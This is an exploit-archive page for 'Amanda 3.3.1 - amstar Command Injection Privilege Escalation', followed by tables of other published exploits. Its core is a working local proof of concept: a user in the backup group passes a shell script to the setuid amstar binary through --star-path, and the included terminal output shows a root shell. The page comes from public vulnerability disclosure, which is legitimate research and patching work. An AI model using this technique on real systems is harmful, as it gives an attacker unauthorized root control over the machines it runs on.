Menu

Search for hundreds of thousands of exploits

"Amanda 3.3.1 - 'amstar' Command Injection Privilege Escalation"

Author

Exploit author

"Hacker Fantastic"

Platform

Exploit platform

linux

Release date

Exploit published date

2016-01-15

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
AMANDA, the Advanced Maryland Automatic Network Disk Archiver, is a backup 
solution that allows the IT administrator to set up a single master backup
server to back up multiple hosts over network to tape drives/changers or 
disks or optical media. Amanda uses native utilities and formats (e.g. dump
and/or GNU tar) and can back up a large number of servers and workstations
running multiple versions of Linux or Unix. 

A user with backup privs can trivially compromise a client installation.
Amstar is an Amanda Application API script. It should not be run by users 
directly. It uses star to backup and restore data. It runs binaries with
root permissions when parsing the command line arguement --star-path. 

Tested against Amanda 3.3.1. An example is shown below:

$ id
uid=34(backup) gid=34(backup) groups=34(backup),6(disk),26(tape)
$ cat /tmp/runme.sh
#!/bin/sh
/bin/sh
$ ls -al /usr/lib/amanda/application/amstar
-rwsr-xr-- 1 root backup 31284 Jul 29  2012 /usr/lib/amanda/application/amstar
$ /usr/lib/amanda/application/amstar restore --star-path=/tmp/runme.sh
# id
uid=0(root) gid=34(backup) groups=0(root),6(disk),26(tape),34(backup)
# uname -a
Linux raspberrypi 3.10.25 #1 Sat Dec 28 20:50:23 EST 2013 armv6l GNU/Linux
#

 -- Hacker Fantastic
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-11-27 "libupnp 1.6.18 - Stack-based buffer overflow (DoS)" dos linux "Patrik Lantz"
2020-11-24 "ZeroShell 3.9.0 - 'cgi-bin/kerbynet' Remote Root Command Injection (Metasploit)" webapps linux "Giuseppe Fuggiano"
2020-10-28 "aptdaemon < 1.1.1 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-10-28 "PackageKit < 1.1.13 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-10-28 "Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion" webapps linux "Ivo Palazzolo"
2020-10-28 "Blueman < 2.1.4 - Local Privilege Escalation" local linux "Vaisha Bernard"
2020-09-11 "Gnome Fonts Viewer 3.34.0 - Heap Corruption" local linux "Cody Winkler"
2020-07-10 "Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution" remote linux SpicyItalian
2020-07-06 "Grafana 7.0.1 - Denial of Service (PoC)" dos linux mostwanted002
Release Date Title Type Platform Author
2018-12-11 "GNU inetutils < 1.9.4 - 'telnet.c' Multiple Overflows (PoC)" dos linux "Hacker Fantastic"
2018-10-25 "xorg-x11-server < 1.20.3 - Local Privilege Escalation" local multiple "Hacker Fantastic"
2017-04-13 "GNS3 Mac OS-X 1.5.2 - 'ubridge' Local Privilege Escalation" local osx "Hacker Fantastic"
2017-04-12 "Solaris 7 < 11 (SPARC/x86) - 'EXTREMEPARR' dtappgather Privilege Escalation" local solaris "Hacker Fantastic"
2017-04-02 "PonyOS 4.0 - 'fluttershy' LD_LIBRARY_PATH Kernel Privilege Escalation" local linux "Hacker Fantastic"
2017-02-15 "Coppermine Gallery < 1.5.44 - Directory Traversal Weaknesses" webapps php "Hacker Fantastic"
2016-12-18 "RedStar 3.0 Server - 'Shellshock' 'BEAM' / 'RSSMON' Command Injection" local linux "Hacker Fantastic"
2016-12-18 "Naenara Browser 3.5 (RedStar 3.0 Desktop) - 'JACKRABBIT' Client-Side Command Execution" local linux "Hacker Fantastic"
2016-10-21 "TrendMicro InterScan Web Security Virtual Appliance - 'Shellshock' Remote Command Injection" remote hardware "Hacker Fantastic"
2016-03-09 "Exim 4.84-3 - Local Privilege Escalation" local linux "Hacker Fantastic"
2016-01-15 "Amanda 3.3.1 - 'amstar' Command Injection Privilege Escalation" local linux "Hacker Fantastic"
2016-01-11 "Amanda 3.3.1 - Local Privilege Escalation" local linux "Hacker Fantastic"
2015-06-02 "PonyOS 3.0 - TTY 'ioctl()' Local Kernel" local linux "Hacker Fantastic"
2015-06-01 "PonyOS 3.0 - VFS Permissions" local linux "Hacker Fantastic"
2015-06-01 "PonyOS 3.0 - ELF Loader Privilege Escalation" local linux "Hacker Fantastic" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected